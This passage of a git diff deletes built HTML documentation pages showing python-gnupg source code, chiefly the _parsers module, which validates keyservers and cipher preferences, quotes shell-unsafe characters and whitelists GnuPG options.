class="k">except</span> <span class="ne">AssertionError</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Can't accept recipient string: </span><span class="si">%s</span><span class="s">"</span> - <span class="o">%</span> <span class="n">recp</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--recipient </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">recp</span><span class="p">))</span> - <span class="k">continue</span> - <span class="c">## will give unicode in 2.x as '\uXXXX\uXXXX'</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--recipient </span><span class="si">%r</span><span class="s">'</span> <span class="o">%</span> <span class="n">recp</span><span class="p">)</span> - <span class="k">continue</span> - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">recp</span><span class="p">,</span> <span class="nb">str</span><span class="p">):</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--recipient </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">recp</span><span class="p">)</span> - - <span class="k">elif</span> <span class="p">(</span><span class="ow">not</span> <span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span><span class="p">)</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">recp</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">):</span> - <span class="k">for</span> <span class="n">recp</span> <span class="ow">in</span> <span class="n">recipients</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\x20</span><span class="s">'</span><span class="p">):</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--recipient </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">recp</span><span class="p">)</span> - - <span class="k">elif</span> <span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">recp</span><span class="p">,</span> <span class="nb">str</span><span class="p">):</span> - <span class="k">for</span> <span class="n">recp</span> <span class="ow">in</span> <span class="n">recipients</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">):</span> - <span class="n">args</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--recipient </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">recp</span><span class="p">)</span> - <span class="c">## ...and now that we've proven py3k is better...</span> - - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Don't know what to do with recipients: '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="n">recipients</span><span class="p">)</span> - - <span class="n">result</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_result_map</span><span class="p">[</span><span class="s">'crypt'</span><span class="p">](</span><span class="bp">self</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got data '</span><span class="si">%s</span><span class="s">' with type '</span><span class="si">%s</span><span class="s">'."</span> - <span class="o">%</span> <span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nb">type</span><span class="p">(</span><span class="n">data</span><span class="p">)))</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_handle_io</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> - <span class="n">passphrase</span><span class="o">=</span><span class="n">passphrase</span><span class="p">,</span> <span class="n">binary</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">result</span><span class="o">.</span><span class="n">data</span><span class="p">)</span> - <span class="k">return</span> <span class="n">result</span></div></div> -</pre></div> - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="../../gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="../../search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="../../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../../genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/_modules/gnupg/_parsers.html b/docs/_build/html/_modules/gnupg/_parsers.html deleted file mode 100644 index a203f11..0000000 --- a/docs/_build/html/_modules/gnupg/_parsers.html +++ /dev/null @@ -1,1486 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>gnupg._parsers — gnupg unknown documentation</title> - - <link rel="stylesheet" href="../../_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: '../../', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="../../_static/jquery.js"></script> - <script type="text/javascript" src="../../_static/underscore.js"></script> - <script type="text/javascript" src="../../_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="../../index.html" /> - <link rel="up" title="gnupg" href="../gnupg.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="../../index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="../../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../../genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <h1>Source code for gnupg._parsers</h1><div class="highlight"><pre> -<span class="c"># -*- coding: utf-8 -*-</span> -<span class="c">#</span> -<span class="c"># This file is part of python-gnupg, a Python interface to GnuPG.</span> -<span class="c"># Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35</span> -<span class="c"># © 2013 Andrej B.</span> -<span class="c"># © 2013 LEAP Encryption Access Project</span> -<span class="c"># © 2008-2012 Vinay Sajip</span> -<span class="c"># © 2005 Steve Traugott</span> -<span class="c"># © 2004 A.M. Kuchling</span> -<span class="c">#</span> -<span class="c"># This program is free software: you can redistribute it and/or modify it</span> -<span class="c"># under the terms of the GNU General Public License as published by the Free</span> -<span class="c"># Software Foundation, either version 3 of the License, or (at your option)</span> -<span class="c"># any later version.</span> -<span class="c">#</span> -<span class="c"># This program is distributed in the hope that it will be useful, but WITHOUT</span> -<span class="c"># ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or</span> -<span class="c"># FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.</span> - -<span class="sd">'''Classes for parsing GnuPG status messages and sanitising commandline</span> -<span class="sd">options.</span> -<span class="sd">'''</span> - -<span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span> -<span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span> - -<span class="k">try</span><span class="p">:</span> - <span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">OrderedDict</span> -<span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span> - <span class="kn">from</span> <span class="nn">ordereddict</span> <span class="kn">import</span> <span class="n">OrderedDict</span> - -<span class="kn">import</span> <span class="nn">re</span> - -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_util</span> -<span class="kn">from</span> <span class="nn">._util</span> <span class="kn">import</span> <span class="n">log</span> - - -<span class="n">ESCAPE_PATTERN</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s">r'</span><span class="se">\\</span><span class="s">x([0-9a-f][0-9a-f])'</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">I</span><span class="p">)</span> -<span class="n">HEXIDECIMAL</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s">'([0-9A-Fa-f]{2})+'</span><span class="p">)</span> - - -<div class="viewcode-block" id="ProtectedOption"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ProtectedOption">[docs]</a><span class="k">class</span> <span class="nc">ProtectedOption</span><span class="p">(</span><span class="ne">Exception</span><span class="p">):</span> - <span class="sd">"""Raised when the option passed to GPG is disallowed."""</span> -</div> -<div class="viewcode-block" id="UsageError"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.UsageError">[docs]</a><span class="k">class</span> <span class="nc">UsageError</span><span class="p">(</span><span class="ne">Exception</span><span class="p">):</span> - <span class="sd">"""Raised when incorrect usage of the API occurs.."""</span> - -</div> -<div class="viewcode-block" id="_check_keyserver"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._check_keyserver">[docs]</a><span class="k">def</span> <span class="nf">_check_keyserver</span><span class="p">(</span><span class="n">location</span><span class="p">):</span> - <span class="sd">"""Check that a given keyserver is a known protocol and does not contain</span> -<span class="sd"> shell escape characters.</span> - -<span class="sd"> :param str location: A string containing the default keyserver. This</span> -<span class="sd"> should contain the desired keyserver protocol which</span> -<span class="sd"> is supported by the keyserver, for example, the</span> -<span class="sd"> default is ``'hkp://wwwkeys .pgp.net'``.</span> -<span class="sd"> :rtype: :obj:`str` or :obj:`None`</span> -<span class="sd"> :returns: A string specifying the protocol and keyserver hostname, if the</span> -<span class="sd"> checks passed. If not, returns None.</span> -<span class="sd"> """</span> - <span class="n">protocols</span> <span class="o">=</span> <span class="p">[</span><span class="s">'hkp://'</span><span class="p">,</span> <span class="s">'hkps://'</span><span class="p">,</span> <span class="s">'http://'</span><span class="p">,</span> <span class="s">'https://'</span><span class="p">,</span> <span class="s">'ldap://'</span><span class="p">,</span> - <span class="s">'mailto:'</span><span class="p">]</span> <span class="c">## xxx feels like i´m forgetting one...</span> - <span class="k">for</span> <span class="n">proto</span> <span class="ow">in</span> <span class="n">protocols</span><span class="p">:</span> - <span class="k">if</span> <span class="n">location</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">proto</span><span class="p">):</span> - <span class="n">url</span> <span class="o">=</span> <span class="n">location</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">proto</span><span class="p">,</span> <span class="nb">str</span><span class="p">())</span> - <span class="n">host</span><span class="p">,</span> <span class="n">slash</span><span class="p">,</span> <span class="n">extra</span> <span class="o">=</span> <span class="n">url</span><span class="o">.</span><span class="n">partition</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">extra</span><span class="p">:</span> <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"URI text for </span><span class="si">%s</span><span class="s">: '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">extra</span><span class="p">))</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got host string for keyserver setting: '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">host</span><span class="p">)</span> - - <span class="n">host</span> <span class="o">=</span> <span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">host</span><span class="p">)</span> - <span class="k">if</span> <span class="n">host</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Cleaned host string: '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">host</span><span class="p">)</span> - <span class="n">keyserver</span> <span class="o">=</span> <span class="n">proto</span> <span class="o">+</span> <span class="n">host</span> - <span class="k">return</span> <span class="n">keyserver</span> - <span class="k">return</span> <span class="bp">None</span> -</div> -<div class="viewcode-block" id="_check_preferences"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._check_preferences">[docs]</a><span class="k">def</span> <span class="nf">_check_preferences</span><span class="p">(</span><span class="n">prefs</span><span class="p">,</span> <span class="n">pref_type</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Check cipher, digest, and compression preference settings.</span> - -<span class="sd"> MD5 is not allowed. This is `not 1994`__. SHA1 is allowed_ grudgingly_.</span> - -<span class="sd"> __ http://www.cs.colorado.edu/~jrblack/papers/md5e-full.pdf</span> -<span class="sd"> .. _allowed: http://eprint.iacr.org/2008/469.pdf</span> -<span class="sd"> .. _grudgingly: https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">prefs</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">return</span> - - <span class="n">cipher</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'AES256'</span><span class="p">,</span> <span class="s">'AES192'</span><span class="p">,</span> <span class="s">'AES128'</span><span class="p">,</span> - <span class="s">'CAMELLIA256'</span><span class="p">,</span> <span class="s">'CAMELLIA192'</span><span class="p">,</span> - <span class="s">'TWOFISH'</span><span class="p">,</span> <span class="s">'3DES'</span><span class="p">])</span> - <span class="n">digest</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'SHA512'</span><span class="p">,</span> <span class="s">'SHA384'</span><span class="p">,</span> <span class="s">'SHA256'</span><span class="p">,</span> <span class="s">'SHA224'</span><span class="p">,</span> <span class="s">'RMD160'</span><span class="p">,</span> - <span class="s">'SHA1'</span><span class="p">])</span> - <span class="n">compress</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'BZIP2'</span><span class="p">,</span> <span class="s">'ZLIB'</span><span class="p">,</span> <span class="s">'ZIP'</span><span class="p">,</span> <span class="s">'Uncompressed'</span><span class="p">])</span> - <span class="nb">all</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="n">cipher</span><span class="p">,</span> <span class="n">digest</span><span class="p">,</span> <span class="n">compress</span><span class="p">])</span> - - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">prefs</span><span class="p">,</span> <span class="nb">str</span><span class="p">):</span> - <span class="n">prefs</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">prefs</span><span class="o">.</span><span class="n">split</span><span class="p">())</span> - <span class="k">elif</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">prefs</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span> - <span class="n">prefs</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">prefs</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">msg</span> <span class="o">=</span> <span class="s">"prefs must be list of strings, or space-separated string"</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="s">"parsers._check_preferences(): </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">message</span><span class="p">)</span> - <span class="k">raise</span> <span class="ne">TypeError</span><span class="p">(</span><span class="n">message</span><span class="p">)</span> - - <span class="k">if</span> <span class="ow">not</span> <span class="n">pref_type</span><span class="p">:</span> - <span class="n">pref_type</span> <span class="o">=</span> <span class="s">'all'</span> - - <span class="n">allowed</span> <span class="o">=</span> <span class="nb">str</span><span class="p">()</span> - - <span class="k">if</span> <span class="n">pref_type</span> <span class="o">==</span> <span class="s">'cipher'</span><span class="p">:</span> - <span class="n">allowed</span> <span class="o">+=</span> <span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">prefs</span><span class="o">.</span><span class="n">intersection</span><span class="p">(</span><span class="n">cipher</span><span class="p">))</span> - <span class="k">if</span> <span class="n">pref_type</span> <span class="o">==</span> <span class="s">'digest'</span><span class="p">:</span> - <span class="n">allowed</span> <span class="o">+=</span> <span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">prefs</span><span class="o">.</span><span class="n">intersection</span><span class="p">(</span><span class="n">digest</span><span class="p">))</span> - <span class="k">if</span> <span class="n">pref_type</span> <span class="o">==</span> <span class="s">'compress'</span><span class="p">:</span> - <span class="n">allowed</span> <span class="o">+=</span> <span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">prefs</span><span class="o">.</span><span class="n">intersection</span><span class="p">(</span><span class="n">compress</span><span class="p">))</span> - <span class="k">if</span> <span class="n">pref_type</span> <span class="o">==</span> <span class="s">'all'</span><span class="p">:</span> - <span class="n">allowed</span> <span class="o">+=</span> <span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">prefs</span><span class="o">.</span><span class="n">intersection</span><span class="p">(</span><span class="nb">all</span><span class="p">))</span> - - <span class="k">return</span> <span class="n">allowed</span> -</div> -<div class="viewcode-block" id="_fix_unsafe"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._fix_unsafe">[docs]</a><span class="k">def</span> <span class="nf">_fix_unsafe</span><span class="p">(</span><span class="n">shell_input</span><span class="p">):</span> - <span class="sd">"""Find characters used to escape from a string into a shell, and wrap them in</span> -<span class="sd"> quotes if they exist. Regex pilfered from Python3 :mod:`shlex` module.</span> - -<span class="sd"> :param str shell_input: The input intended for the GnuPG process.</span> -<span class="sd"> """</span> - <span class="n">_unsafe</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s">r'[^\w@%+=:,./-]'</span><span class="p">,</span> <span class="mi">256</span><span class="p">)</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">_unsafe</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">shell_input</span><span class="p">))</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> - <span class="k">return</span> <span class="n">shell_input</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">clean</span> <span class="o">=</span> <span class="s">"'"</span> <span class="o">+</span> <span class="n">shell_input</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"'"</span><span class="p">,</span> <span class="s">"'</span><span class="se">\"</span><span class="s">'</span><span class="se">\"</span><span class="s">'"</span><span class="p">)</span> <span class="o">+</span> <span class="s">"'"</span> - <span class="k">return</span> <span class="n">clean</span> - <span class="k">except</span> <span class="ne">TypeError</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">None</span> -</div> -<div class="viewcode-block" id="_hyphenate"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._hyphenate">[docs]</a><span class="k">def</span> <span class="nf">_hyphenate</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="n">add_prefix</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span> - <span class="sd">"""Change underscores to hyphens so that object attributes can be easily</span> -<span class="sd"> tranlated to GPG option names.</span> - -<span class="sd"> :param str input: The attribute to hyphenate.</span> -<span class="sd"> :param bool add_prefix: If True, add leading hyphens to the input.</span> -<span class="sd"> :rtype: str</span> -<span class="sd"> :return: The ``input`` with underscores changed to hyphens.</span> -<span class="sd"> """</span> - <span class="n">ret</span> <span class="o">=</span> <span class="s">'--'</span> <span class="k">if</span> <span class="n">add_prefix</span> <span class="k">else</span> <span class="s">''</span> - <span class="n">ret</span> <span class="o">+=</span> <span class="nb">input</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'_'</span><span class="p">,</span> <span class="s">'-'</span><span class="p">)</span> - <span class="k">return</span> <span class="n">ret</span> -</div> -<div class="viewcode-block" id="_is_allowed"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._is_allowed">[docs]</a><span class="k">def</span> <span class="nf">_is_allowed</span><span class="p">(</span><span class="nb">input</span><span class="p">):</span> - <span class="sd">"""Check that an option or argument given to GPG is in the set of allowed</span> -<span class="sd"> options, the latter being a strict subset of the set of all options known</span> -<span class="sd"> to GPG.</span> - -<span class="sd"> :param str input: An input meant to be parsed as an option or flag to the</span> -<span class="sd"> GnuPG process. Should be formatted the same as an option</span> -<span class="sd"> or flag to the commandline gpg, i.e. "--encrypt-files".</span> - -<span class="sd"> :ivar frozenset gnupg_options: All known GPG options and flags.</span> - -<span class="sd"> :ivar frozenset allowed: All allowed GPG options and flags, e.g. all GPG</span> -<span class="sd"> options and flags which we are willing to</span> -<span class="sd"> acknowledge and parse. If we want to support a</span> -<span class="sd"> new option, it will need to have its own parsing</span> -<span class="sd"> class and its name will need to be added to this</span> -<span class="sd"> set.</span> - -<span class="sd"> :raises: :exc:`UsageError` if **input** is not a subset of the hard-coded</span> -<span class="sd"> set of all GnuPG options in :func:`_get_all_gnupg_options`.</span> - -<span class="sd"> :exc:`ProtectedOption` if **input** is not in the set of allowed</span> -<span class="sd"> options.</span> - -<span class="sd"> :rtype: str</span> -<span class="sd"> :return: The original **input** parameter, unmodified and unsanitized, if</span> -<span class="sd"> no errors occur.</span> -<span class="sd"> """</span> - <span class="n">gnupg_options</span> <span class="o">=</span> <span class="n">_get_all_gnupg_options</span><span class="p">()</span> - <span class="n">allowed</span> <span class="o">=</span> <span class="n">_get_options_group</span><span class="p">(</span><span class="s">"allowed"</span><span class="p">)</span> - - <span class="c">## these are the allowed options we will handle so far, all others should</span> - <span class="c">## be dropped. this dance is so that when new options are added later, we</span> - <span class="c">## merely add the to the _allowed list, and the `` _allowed.issubset``</span> - <span class="c">## assertion will check that GPG will recognise them</span> - <span class="k">try</span><span class="p">:</span> - <span class="c">## check that allowed is a subset of all gnupg_options</span> - <span class="k">assert</span> <span class="n">allowed</span><span class="o">.</span><span class="n">issubset</span><span class="p">(</span><span class="n">gnupg_options</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">AssertionError</span><span class="p">:</span> - <span class="k">raise</span> <span class="n">UsageError</span><span class="p">(</span><span class="s">"'allowed' isn't a subset of known options, diff: </span><span class="si">%s</span><span class="s">"</span> - <span class="o">%</span> <span class="n">allowed</span><span class="o">.</span><span class="n">difference</span><span class="p">(</span><span class="n">gnupg_options</span><span class="p">))</span> - - <span class="c">## if we got a list of args, join them</span> - <span class="c">##</span> - <span class="c">## see TODO file, tag :cleanup:</span> - <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="nb">str</span><span class="p">):</span> - <span class="nb">input</span> <span class="o">=</span> <span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">input</span><span class="p">])</span> - - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="nb">str</span><span class="p">):</span> - <span class="k">if</span> <span class="nb">input</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">'_'</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span> - <span class="k">if</span> <span class="ow">not</span> <span class="nb">input</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'--'</span><span class="p">):</span> - <span class="n">hyphenated</span> <span class="o">=</span> <span class="n">_hyphenate</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="n">add_prefix</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">hyphenated</span> <span class="o">=</span> <span class="n">_hyphenate</span><span class="p">(</span><span class="nb">input</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">hyphenated</span> <span class="o">=</span> <span class="nb">input</span> - <span class="c">## xxx we probably want to use itertools.dropwhile here</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">assert</span> <span class="n">hyphenated</span> <span class="ow">in</span> <span class="n">allowed</span> - <span class="k">except</span> <span class="ne">AssertionError</span> <span class="k">as</span> <span class="n">ae</span><span class="p">:</span> - <span class="n">dropped</span> <span class="o">=</span> <span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">hyphenated</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"_is_allowed(): Dropping option '</span><span class="si">%s</span><span class="s">'..."</span> <span class="o">%</span> <span class="n">dropped</span><span class="p">)</span> - <span class="k">raise</span> <span class="n">ProtectedOption</span><span class="p">(</span><span class="s">"Option '</span><span class="si">%s</span><span class="s">' not supported."</span> <span class="o">%</span> <span class="n">dropped</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">return</span> <span class="nb">input</span> - <span class="k">return</span> <span class="bp">None</span> -</div> -<div class="viewcode-block" id="_is_hex"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._is_hex">[docs]</a><span class="k">def</span> <span class="nf">_is_hex</span><span class="p">(</span><span class="n">string</span><span class="p">):</span> - <span class="sd">"""Check that a string is hexidecimal, with alphabetic characters</span> -<span class="sd"> capitalized and without whitespace.</span> - -<span class="sd"> :param str string: The string to check.</span> -<span class="sd"> """</span> - <span class="n">matched</span> <span class="o">=</span> <span class="n">HEXIDECIMAL</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">string</span><span class="p">)</span> - <span class="k">if</span> <span class="n">matched</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> <span class="ow">and</span> <span class="nb">len</span><span class="p">(</span><span class="n">matched</span><span class="o">.</span><span class="n">group</span><span class="p">())</span> <span class="o">>=</span> <span class="mi">2</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">True</span> - <span class="k">return</span> <span class="bp">False</span> -</div> -<div class="viewcode-block" id="_is_string"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._is_string">[docs]</a><span class="k">def</span> <span class="nf">_is_string</span><span class="p">(</span><span class="n">thing</span><span class="p">):</span> - <span class="sd">"""Python character arrays are a mess.</span> - -<span class="sd"> If Python2, check if **thing** is an :obj:`unicode` or a :obj:`str`.</span> -<span class="sd"> If Python3, check if **thing** is a :obj:`str`.</span> - -<span class="sd"> :param thing: The thing to check.</span> -<span class="sd"> :returns: ``True`` if **thing** is a string according to whichever version</span> -<span class="sd"> of Python we're running in.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span><span class="p">:</span> <span class="k">return</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">thing</span><span class="p">,</span> <span class="nb">str</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">thing</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_sanitise"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._sanitise">[docs]</a><span class="k">def</span> <span class="nf">_sanitise</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span> - <span class="sd">"""Take an arg or the key portion of a kwarg and check that it is in the</span> -<span class="sd"> set of allowed GPG options and flags, and that it has the correct</span> -<span class="sd"> type. Then, attempt to escape any unsafe characters. If an option is not</span> -<span class="sd"> allowed, drop it with a logged warning. Returns a dictionary of all</span> -<span class="sd"> sanitised, allowed options.</span> - -<span class="sd"> Each new option that we support that is not a boolean, but instead has</span> -<span class="sd"> some additional inputs following it, i.e. "--encrypt-file foo.txt", will</span> -<span class="sd"> need some basic safety checks added here.</span> - -<span class="sd"> GnuPG has three-hundred and eighteen commandline flags. Also, not all</span> -<span class="sd"> implementations of OpenPGP parse PGP packets and headers in the same way,</span> -<span class="sd"> so there is added potential there for messing with calls to GPG.</span> - -<span class="sd"> For information on the PGP message format specification, see</span> -<span class="sd"> :rfc:`1991`.</span> - -<span class="sd"> If you're asking, "Is this *really* necessary?": No, not really -- we could</span> -<span class="sd"> just follow the security precautions recommended by `this xkcd`__.</span> - -<span class="sd"> __ https://xkcd.com/1181/</span> - -<span class="sd"> :param str args: (optional) The boolean arguments which will be passed to</span> -<span class="sd"> the GnuPG process.</span> -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: ``sanitised``</span> -<span class="sd"> """</span> - - <span class="c">## see TODO file, tag :cleanup:sanitise:</span> - - <span class="k">def</span> <span class="nf">_check_option</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Check that a single ``arg`` is an allowed option.</span> - -<span class="sd"> If it is allowed, quote out any escape characters in ``value``, and</span> -<span class="sd"> add the pair to :ivar:`sanitised`. Otherwise, drop them.</span> - -<span class="sd"> :param str arg: The arguments which will be passed to the GnuPG</span> -<span class="sd"> process, and, optionally their corresponding values.</span> -<span class="sd"> The values are any additional arguments 